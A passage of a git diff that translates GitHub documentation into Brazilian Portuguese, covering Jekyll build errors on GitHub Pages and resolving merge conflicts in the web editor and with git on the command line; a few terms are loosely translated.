+Caso queira utilizar o submódulo, lembre-se de usar `https://` quando fizer referência ao submódulo (a não `http://`) e de que o submódulo está em um repositório público.
 
-## Invalid YAML in data file
+## YAML inválido no arquivo de dados
 
-This error means that one of more files in the *_data* folder contains invalid YAML.
+Este erro significa que um ou mais arquivos na pasta *_data* contém YAML inválido.
 
-To troubleshoot, make sure the YAML files in your *_data* folder follow these rules:
+Para solucionar problemas, verifique se os arquivos YAML na pasta *_data* seguem estas regras:
 
 {% data reusables.pages.yaml-rules %}
 
 {% data reusables.pages.yaml-linter %}
 
-For more information about Jekyll data files, see "[Data Files](https://jekyllrb.com/docs/datafiles/)" in the Jekyll documentation.
+Para obter mais informações sobre arquivos de dados do Jekyll, consulte ""[Arquivos de dados](https://jekyllrb.com/docs/datafiles/)" na documentação do Jekyll.
 
-## Markdown errors
+## Erros de markdown
 
-This error means that your repository contains Markdown errors.
+Este erro significa que seu repositório contém erros de markdown.
 
-To troubleshoot, make sure you are using a supported Markdown processor. For more information, see "[Setting a Markdown processor for your {% data variables.product.prodname_pages %} site using Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)."
+Para solucionar problemas, verifique se você está usando um processador markdown compatível. Para obter mais informações, consulte "[Definir um processador markdown para seu site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll)".
 
-Then, make sure the file in the error message uses valid Markdown syntax. For more information, see "[Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax)" on Daring Fireball.
+Em seguida, verifique se o arquivo na mensagem de erro usa uma sintaxe markdown válida. Para obter mais informações, consulte "[Markdown: sintaxe](https://daringfireball.net/projects/markdown/syntax)" no Daring Fireball.
 
-## Missing docs folder
+## Pasta docs ausente
 
-This error means that you have chosen the `docs` folder on a branch as your publishing source, but there is no `docs` folder in the root of your repository on that branch.
+Este erro significa que você escolheu a pasta `docs` em um branch como a sua fonte de publicação, mas não há nenhuma pasta de `docs` na raiz do seu repositório naquele branch.
 
-To troubleshoot, if your `docs` folder was accidentally moved, try moving the `docs` folder back to the root of your repository on the branch you chose for your publishing source. If the `docs` folder was accidentally deleted, you can either:
-- Use Git to revert or undo the deletion. For more information, see "[git-revert](https://git-scm.com/docs/git-revert.html)" in the Git documentation.
-- Create a new `docs` folder in the root of your repository on the branch you chose for your publishing source and add your site's source files to the folder. For more information, see "[Creating new files](/articles/creating-new-files)."
-- Change your publishing source. For more information, see "[Configuring a publishing source for {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages)."
+Para solucionar esse problema, se a pasta `documentação` foi movida acidentalmente, tente mover a pasta `docs` de volta para a raiz do repositório no branch que você escolheu para a sua fonte de publicação. Se a pasta `docs` tiver sido excluída acidentalmente, siga um destes procedimentos:
+- Use o Git para reverter ou desfazer a exclusão. Para obter mais informações, consulte "[git-revert](https://git-scm.com/docs/git-revert.html)" na documentação do Git.
+- Crie uma nova pasta de `documentação` na raiz do repositório no branch que você escolheu para a sua fonte de publicação e adicione os arquivos de origem do site à pasta. Para obter mais informações, consulte "[Criar arquivos](/articles/creating-new-files)".
+- Altere a fonte de publicação. Para obter mais informações, consulte "[Configurar uma fonte de publicação do {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages)".
 
-## Missing submodule
+## Submódulo ausente
 
-This error means that your repository includes a submodule that doesn't exist or hasn't been properly initialized.
+Este erro significa que seu repositório inclui um submódulo que não existe ou não foi inicializado corretamente.
 
 {% data reusables.pages.remove-submodule %}
 
-If you do want to use a submodule, initialize the submodule. For more information, see "[Git Tools - Submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules)" in the _Pro Git_ book.
+Se você quiser usar um submódulo, inicialize-o. Para obter mais informações, consulte "[Ferramentas Git - Submódulos](https://git-scm.com/book/en/v2/Git-Tools-Submodules)" no livro _Pro Git_.
 
-## Relative permalinks configured
+## Permalinks relativos configurados
 
-This errors means that you have relative permalinks, which are not supported by {% data variables.product.prodname_pages %}, in your *_config.yml* file.
+Este erro significa que você tem permalinks relativos, que não são compatíveis com o {% data variables.product.prodname_pages %} no arquivo *_config.yml*.
 
-Permalinks are permanent URLs that reference a particular page on your site. Absolute permalinks begin with the root of the site, while relative permalinks begin with the folder containing the referenced page. {% data variables.product.prodname_pages %} and Jekyll no longer support relative permalinks. For more information about permalinks, see "[Permalinks](https://jekyllrb.com/docs/permalinks/)" in the Jekyll documentation.
+Permalinks são URLs permanentes que fazem referência a uma determinada página no seu site. Os permalinks absolutos iniciam com a raiz do site, enquanto os permalinks relativos iniciam com a pasta que contém a página referenciada. O {% data variables.product.prodname_pages %} e o Jekyll não são mais compatíveis com permalinks relativos. Para obter mais informações sobre permalinks, consulte "[Permalinks](https://jekyllrb.com/docs/permalinks/)" na documentação do Jekyll.
 
-To troubleshoot, remove the `relative_permalinks` line from your *_config.yml* file and reformat any relative permalinks in your site with absolute permalinks. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+Para solucionar problemas, remova a linha `relative_permalinks` do arquivo *_config.yml* e reformate os permalinks relativos no site com permalinks absolutos. Para obter mais informações, consulte "[Editando arquivos](/repositories/working-with-files/managing-files/editing-files)".
 
-## Symlink does not exist within your site's repository
+## O link simbólico não existe no repositório do site
 
-This error means that your site includes a symbolic link (symlink) that does not exist in the publishing source for your site. For more information about symlinks, see "[Symbolic link](https://en.wikipedia.org/wiki/Symbolic_link)" on Wikipedia.
+Este erro significa que seu site inclui um link simbólico que não existe na fonte de publicação do site. Para obter mais informações sobre links simbólicos, consulte "[Link simbólico](https://en.wikipedia.org/wiki/Symbolic_link)" na Wikipédia.
 
-To troubleshoot, determine if the file in the error message is used to build your site. If not, or if you don't want the file to be a symlink, delete the file. If the symlinked file is necessary to build your site, make sure the file or directory the symlink references is in the publishing source for your site. To include external assets, consider using {% ifversion fpt or ghec %}`git submodule` or {% endif %}a third-party package manager such as [Bower](https://bower.io/).{% ifversion fpt or ghec %} For more information, see "[Using submodules with {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages)."{% endif %}
+Para solucionar problemas, determine se o arquivo na mensagem de erro é usado para criar o site. Se ele não for ou se você não quiser que o arquivo seja um link simbólico, exclua o arquivo. Se o arquivo de link simbólico for necessário para criar seu site, verifique se o arquivo ou o diretório a que ele faz referência está na fonte de publicação do site. Para incluir ativos externos, considere usar {% ifversion fpt or ghec %}`submódulo do Git` ou {% endif %}um gerenciador de pacotes terceirizado como o [Bower](https://bower.io/).{% ifversion fpt or ghec %} Para obter mais informações, consulte "[Usar submódulos com o {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages)".{% endif %}
 
-## Syntax error in 'for' loop
+## Erro de sintaxe no loop 'for'
 
-This error means that your code includes invalid syntax in a Liquid `for` loop declaration.
+Este erro significa que o código inclui sintaxe inválida em uma declaração de loop `for` do Liquid.
 
-To troubleshoot, make sure all `for` loops in the file in the error message have proper syntax. For more information about proper syntax for `for` loops, see "[Iteration tags](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)" in the Liquid documentation.
+Para solucionar problemas, verifique se todos os loops `for` no arquivo da mensagem de erro têm sintaxe adequada. Para obter mais informações sobre a sintaxe adequada para loops `for`, consulte "[Tags de Iteração](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for)" na documentação do Liquid.
 
-## Tag not properly closed
+## Tag fechada incorretamente
 
-This error message means that your code includes a logic tag that is not properly closed. For example, {% raw %}`{% capture example_variable %}` must be closed by `{% endcapture %}`{% endraw %}.
+Esta mensagem de erro significa que o código inclui uma tag lógica que foi fechada incorretamente. Por exemplo, {% raw %}`{% capture example_variable %}` deve ser fechada por `{% endcapture %}`{% endraw %}.
 
-To troubleshoot, make sure all logic tags in the file in the error message are properly closed. For more information, see "[Liquid tags](https://help.shopify.com/en/themes/liquid/tags)" in the Liquid documentation.
+Para solucionar problemas, verifique se todas as tags lógicas no arquivo da mensagem de erro estão fechadas corretamente. Para obter mais informações, consulte "[Tags do Liquid](https://help.shopify.com/en/themes/liquid/tags)" na documentação do Liquid.
 
-## Tag not properly terminated
+## Tag terminada incorretamente
 
-This error means that your code includes an output tag that is not properly terminated. For example, {% raw %}`{{ page.title }` instead of `{{ page.title }}`{% endraw %}.
+Este erro significa que o código inclui uma tag de saída que não foi terminada corretamente. Por exemplo, {% raw %}`{{ page.title }` em vez de `{{ page.title }}`{% endraw %}.
 
-To troubleshoot, make sure all output tags in the file in the error message are terminated with `}}`. For more information, see "[Liquid objects](https://help.shopify.com/en/themes/liquid/objects)" in the Liquid documentation.
+Para solucionar problemas, verifique se todas as tags de saída no arquivo da mensagem de erro estão terminadas com `}}`. Para obter mais informações, consulte "[Objetos do Liquid](https://help.shopify.com/en/themes/liquid/objects)" na documentação do Liquid.
 
-## Unknown tag error
+## Erro de tag desconhecida
 
-This error means that your code contains an unrecognized Liquid tag.
+Este erro significa que o código contém uma tag do Liquid não reconhecida.
 
-To troubleshoot, make sure all Liquid tags in the file in the error message match Jekyll's default variables and there are no typos in the tag names. For a list of default variables, see "[Variables](https://jekyllrb.com/docs/variables/)" in the Jekyll documentation.
+Para solucionar problemas, verifique se todas as tags do Liquid no arquivo da mensagem de erro correspondem a variáveis padrão do Jekyll e se não há erros de digitação nos nomes das tags. Para obter uma lista de variáveis padrão, consulte "[Variáveis](https://jekyllrb.com/docs/variables/)" na documentação do Jekyll.
 
-Unsupported plugins are a common source of unrecognized tags. If you use an unsupported plugin in your site by generating your site locally and pushing your static files to {% data variables.product.product_name %}, make sure the plugin is not introducing tags that are not in Jekyll's default variables. For a list of supported plugins, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)."
+Plugins incompatíveis são uma fonte comum de tags não reconhecidas. Se você usar um plugin incompatível ao gerar seu site localmente e fazer push dos arquivos estáticos para o {% data variables.product.product_name %}, verifique se o plugin não está inserindo tags que não estão nas variáveis padrão do Jekyll. Para obter uma lista de plugins compatíveis, consulte "[Sobre o {% data variables.product.prodname_pages %} e o Jekyll](/articles/about-github-pages-and-jekyll#plugins)".
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
index c9264010b1..99b6b15e4a 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
@@ -1,6 +1,6 @@
 ---
-title: Addressing merge conflicts
-intro: 'If your changes have merge conflicts with the base branch, you must address the merge conflicts before you can merge your pull request''s changes.'
+title: Lidar com conflitos de merge
+intro: 'Se suas alterações apresentarem conflitos de merge com o branch base, você deverá resolver esses conflitos para que seja possível fazer merge das alterações da pull request.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts
   - /articles/addressing-merge-conflicts
@@ -16,5 +16,6 @@ children:
   - /about-merge-conflicts
   - /resolving-a-merge-conflict-on-github
   - /resolving-a-merge-conflict-using-the-command-line
-shortTitle: Address merge conflicts
+shortTitle: Resolver conflitos de merge
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
index c2529a41aa..6af988a3e1 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict on GitHub
-intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.'
+title: Resolver um conflito de merge no GitHub
+intro: Você pode resolver conflitos de merge simples que envolvem alterações concorrentes na linha usando o editor de conflitos.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
   - /articles/resolving-a-merge-conflict-on-github
@@ -14,51 +14,47 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Resolve merge conflicts
+shortTitle: Resolver conflitos de merge
 ---
-You can only resolve merge conflicts on {% data variables.product.product_name %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see "[Resolving a merge conflict using the command line](/articles/resolving-a-merge-conflict-using-the-command-line/)."
+
+Você só pode resolver conflitos de merge no {% data variables.product.product_name %} causados por alterações concorrentes na linha, como quando as pessoas fazem alterações diferentes na mesma linha do mesmo arquivo em diferentes branches no seu repositório Git. Para todos os outros tipos de conflito de merge, você deve resolver o conflito localmente na linha de comando. Para obter mais informações, consulte "[Resolver um conflito de merge usando a linha de comando](/articles/resolving-a-merge-conflict-using-the-command-line/)".
 
 {% ifversion ghes or ghae %}
-If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.product_name %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository.
+Se um administrador do site desabilitar o editor de conflitos de merge para pull requests entre repositórios, você não poderá usar o editor de conflitos no {% data variables.product.product_name %} e deverá resolver os conflitos de merge na linha de comando. Por exemplo, se o editor de conflitos de merge estiver desabilitado, você não poderá usá-lo em uma pull request entre uma bifurcação e um repositório upstream.
 {% endif %}
 
 {% warning %}
 
-**Warning:** When you resolve a merge conflict on {% data variables.product.product_name %},  the entire [base branch](/github/getting-started-with-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/github/getting-started-with-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+**Aviso:** Quando você resolve um conflito de merge no {% data variables.product.product_name %},  todo o [branch base](/github/getting-started-with-github/github-glossary#base-branch) da sua pull request é mesclada ao [branch head](/github/getting-started-with-github/github-glossary#head-branch). Verifique se você deseja realmente fazer commit para esse branch. Se o branch do cabeçalho for o branch-padrão do seu repositório, você terá a opção de criar um novo branch para servir como o branch do cabeçalho para o seu pull request. Se o branch head estiver protegido, você não será capaz de mesclar sua resolução de conflitos nele, então você será solicitado a criar um novo branch head. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)".
 
 {% endwarning %}
 
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve.
-1. Near the bottom of your pull request, click **Resolve conflicts**.
-![Resolve merge conflicts button](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
+1. Na lista "Pull Requests", clique na pull request que tem um conflito de merge que você deseja resolver.
+1. Próximo à parte inferior da pull request, clique em **Resolve conflicts** (Resolver conflitos). ![Botão de resolução de conflitos de merge](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
 
  {% tip %}
 
- **Tip:** If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.product_name %}{% ifversion ghes or ghae %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see "[Resolving a merge conflict using the command line](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)."
+ **Dica:** se o botão **Resolve conflicts** (Resolver conflitos) estiver desativado, o conflito de merge da pull request é muito complexo para ser resolvido no {% data variables.product.product_name %}{% ifversion ghes or ghae %} ou o administrador do site desabilitou o editor de conflitos para pull requests entre repositórios{% endif %}. Você deve resolver o conflito de merge usando um cliente Git alternativo, ou usando o Git na linha de comando. Para obter mais informações, consulte "[Resolver um conflito de merge usando a linha de comando](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)".
 
  {% endtip %}
 {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %}
- ![View merge conflict example with conflict markers](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
-1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict.
-1. Once you've resolved all the conflicts in the file, click **Mark as resolved**.
- ![Click mark as resolved button](/assets/images/help/pull_requests/mark-as-resolved-button.png)
-1. If you have more than one file with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts.
- ![Select next conflicting file if applicable](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
-1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch.
- ![Resolve merge conflicts button](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
-1. If prompted, review the branch that you are committing to.
+ ![Exemplo de exibição de conflito de merge com marcadores de conflito](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
+1. Se houver mais de um conflito de merge no arquivo, role para baixo até o próximo conjunto de marcadores de conflito e repita as etapas quatro e cinco para resolver o conflito de merge.
+1. Depois de resolver todos os conflitos do arquivo, clique em **Mark as resolved** (Marcar como resolvido). ![Clique no botão marcar como resolvido](/assets/images/help/pull_requests/mark-as-resolved-button.png)
+1. Se você tiver mais de um arquivo com um conflito, selecione o próximo arquivo que deseja editar no lado esquerdo da página abaixo de "conflicting files" (arquivos conflitantes) e repita as etapas de quatro a sete até resolver todos os conflitos de merge da pull request. ![Selecione o próximo arquivo conflitante, se aplicável](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
+1. Depois de resolver todos os conflitos de merge, clique em **Commit merge** (Fazer commit do merge). Isso incorpora todo o branch base ao branch head. ![Botão de resolução de conflitos de merge](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
+1. Se solicitado, revise o branch presente no commit.
 
-   If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request.
- ![Prompt to review the branch that will be updated](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
+   Se o branch head for o branch padrão do repositório, você pode escolher atualizar este branch com as mudanças que você fez para resolver o conflito, ou criar um novo branch e usar isso como o branch head da pull request. ![Solicitar a revisão do branch que será atualizado](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
 
-   If you choose to create a new branch, enter a name for the branch.
+   Se você escolher criar um novo branch, digite um nome para o branch.
 
-   If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch.
+   Se o branch head de sua pull request estiver protegido, você deve criar um novo branch. Você não terá a opção de atualizar o branch protegido.
 
-   Click **Create branch and update my pull request** or **I understand, continue updating _BRANCH_**. The button text corresponds to the action you are performing.
-1. To merge your pull request, click **Merge pull request**. For more information about other pull request merge options, see "[Merging a pull request](/articles/merging-a-pull-request/)."
+   Clique em **Criar branch e atualizar meu pull request** ou **Eu entendi, continuar atualizando _BRANCH_**. O texto do botão corresponde à ação que você está executando.
+1. Para fazer merge da pull request, clique em **Merge pull request** (Fazer merge da pull request). Para obter mais informações sobre outras opções de merge da pull request, consulte "[Fazer merge de uma pull request](/articles/merging-a-pull-request/)".
 
-## Further reading
+## Leia mais
 
-- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[Sobre merges de pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
index 7354246bea..d91ba857a2 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict using the command line
-intro: You can resolve merge conflicts using the command line and a text editor.
+title: Resolver um conflito de merge usando a linha de comando
+intro: Você pode resolver conflitos de merge usando a linha de comando e um editor de texto.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
   - /articles/resolving-a-merge-conflict-from-the-command-line
@@ -14,43 +14,44 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Resolve merge conflicts in Git
+shortTitle: Resolver conflitos de merge no Git
 ---
-Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)."
+
+Os conflitos de merge ocorrem quando alterações concorrentes são feitas na mesma linha de um arquivo ou quando uma pessoa edita um arquivo e outra pessoa exclui o mesmo arquivo. Para obter mais informações, consulte "[Sobre conflitos de merge](/articles/about-merge-conflicts/)".
 
 {% tip %}
 
-**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)."
+**Dica:** você pode usar o editor de conflitos no {% data variables.product.product_name %} para resolver conflitos de merge de alterações diferentes na linha entre branches que fazem parte de uma pull request. Para obter mais informações, consulte "[Revolver um conflito de merge no GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)".
 
 {% endtip %}
 
-## Competing line change merge conflicts
+## Conflitos de merge de alterações diferentes na linha
 
-To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit.
+Para resolver um conflito de merge causado por alterações diferentes na linha, você deve escolher quais alterações dos diferentes branches incorporar em um novo commit.
 
-For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+Por exemplo, se você e outra pessoa editarem as mesmas linhas do arquivo _styleguide.md_ em branches diferentes do mesmo repositório Git, você receberá um erro de conflito de merge quando tentar fazer merge desses branches. Você deve resolver esse conflito de merge com um novo commit antes de fazer merge desses branches.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. Navegue até o repositório Git local que tem o conflito de merge.
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict.
+3. Gere uma lista dos arquivos afetados pelo conflito de merge. Neste exemplo, o arquivo *styleguide.md* tem um conflito de merge.
   ```shell
   $ git status
-  > # On branch branch-b
-  > # You have unmerged paths.
-  > #   (fix conflicts and run "git commit")
+  > # No branch branch-b
+  > # Você desfez o merge de paths.
+  > #   (resolver conflitos e executar "git commit")
   > #
-  > # Unmerged paths:
-  > #   (use "git add <file>..." to mark resolution)
+  > # Desfazer merge de paths:
+  > #   (use "git add <file>..." para marcar resoluções)
   > #
-  > # both modified:      styleguide.md
+  > # ambos modificados:      styleguide.md
   > #
-  > no changes added to commit (use "git add" and/or "git commit -a")
+  > nenhuma alteração adicionada ao commit (use "git add" e/ou "git commit -a")
   ```
-4. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`.
+4. Abra o editor de texto de sua preferência, como o [Atom](https://atom.io/), e navegue até o arquivo que tem conflitos de merge.
+5. Para ver o começo do conflito de merge no arquivo, pesquise o marcador de conflito `<<<<<<<` no arquivo. Quando abrir o arquivo no editor de texto, você verá as alterações do branch HEAD ou base após a linha `<<<<<<< HEAD`. Em seguida, você verá `=======`, que divide suas alterações das alterações no outro branch, seguido por `>>>>>>> BRANCH-NAME`. Neste exemplo, uma pessoa escreveu "open an issue" (abrir um problema) no branch base ou HEAD e outra pessoa escreveu "ask your question in IRC" (faça sua pergunta no IRC) no branch de comparação ou `branch-a`.
 
     ```
     If you have questions, please
@@ -60,72 +61,72 @@ For example, if you and another person both edited the file _styleguide.md_ on t
     ask your question in IRC.
     >>>>>>> branch-a
     ```
-{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge:
+{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} Neste exemplo, as duas alterações são incorporadas ao merge final:
 
   ```shell
   If you have questions, please open an issue or ask in our IRC channel if it's more urgent.
   ```
-7. Add or stage your changes.
+7. Adicione ou faça stage das alterações.
   ```shell
   $ git add .
   ```
-8. Commit your changes with a comment.
+8. Faça o commit das suas alterações com um comentário.
   ```shell
   $ git commit -m "Resolved merge conflict by incorporating both suggestions."
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+Agora você pode fazer merge dos branches na linha de comando ou [fazer push das alterações para o repositório remoto](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) no {% data variables.product.product_name %} e [fazer merge das alterações](/articles/merging-a-pull-request/) em uma pull request.
 
-## Removed file merge conflicts
+## Conflitos de merge de arquivo removido
 
-To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit.
+Para resolver um conflito de merge causado por alterações concorrentes em um arquivo, quando uma pessoa exclui um arquivo em um branch e outra pessoa edita o mesmo arquivo, você deve escolher se deseja excluir ou manter o arquivo removido em um novo commit.
 
-For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+Por exemplo, se você editou um arquivo, como o *README.md*, e outra pessoa removeu o mesmo arquivo em outro branch no mesmo repositório Git, você receberá um erro de conflito de merge quando tentar fazer merge desses branches. Você deve resolver esse conflito de merge com um novo commit antes de fazer merge desses branches.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate into the local Git repository that has the merge conflict.
+2. Navegue até o repositório Git local que tem o conflito de merge.
   ```shell
   cd <em>REPOSITORY-NAME</em>
   ```
-2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict.
+2. Gere uma lista dos arquivos afetados pelo conflito de merge. Neste exemplo, o arquivo *README.md* tem um conflito de merge.
   ```shell
   $ git status
-  > # On branch main
-  > # Your branch and 'origin/main' have diverged,
-  > # and have 1 and 2 different commits each, respectively.
-  > #  (use "git pull" to merge the remote branch into yours)
-  > # You have unmerged paths.
-  > #  (fix conflicts and run "git commit")
+  > # No branch master
+  > # Seu branch e o 'origin/master'divergiram,
+  > # e possuem 1 e 2 diferentes commits cada, respectivamente.
+  > #  (use "git pull" para fazer merge do branch remoto no seu)
+  > # Você desfez o merge de paths.
+  > #  (resolver conflitos e executar "git commit")
   > #
-  > # Unmerged paths:
-  > #  (use "git add/rm <file>..." as appropriate to mark resolution)
+  > # Desfazer merge de paths:
+  > #  (use "git add/rm <file>..." conforme apropriado para marcar a resolução)
   > #
-  > #	deleted by us:   README.md
+  > #   excluído por nós:   README.md
   > #
-  > # no changes added to commit (use "git add" and/or "git commit -a")
+  > # nenhuma alteração adicionada ao commit (use "git add" e/ou "git commit -a")
   ```
-3. Open your favorite text editor, such as [Atom](https://atom.io/), and navigate to the file that has merge conflicts.
-6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor.
+3. Abra o editor de texto de sua preferência, como o [Atom](https://atom.io/), e navegue até o arquivo que tem conflitos de merge.
+6. Decida se você deseja manter o arquivo removido. Você pode ver as alterações mais recentes feitas no arquivo removido no editor de texto.
 
- To add the removed file back to your repository:
+ Para adicionar o arquivo removido de volta ao repositório:
   ```shell
   $ git add README.md
   ```
- To remove this file from your repository:
+ Para remover o arquivo do seu repositório:
   ```shell
   $ git rm README.md
   > README.md: needs merge
   > rm 'README.md'
   ```
-7. Commit your changes with a comment.
+7. Faça o commit das suas alterações com um comentário.
   ```shell
   $ git commit -m "Resolved merge conflict by keeping README.md file."
   > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d
   ```
 
-You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+Agora você pode fazer merge dos branches na linha de comando ou [fazer push das alterações para o repositório remoto](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) no {% data variables.product.product_name %} e [fazer merge das alterações](/articles/merging-a-pull-request/) em uma pull request.
 
-## Further reading
+## Leia mais
 
-- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
-- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)"
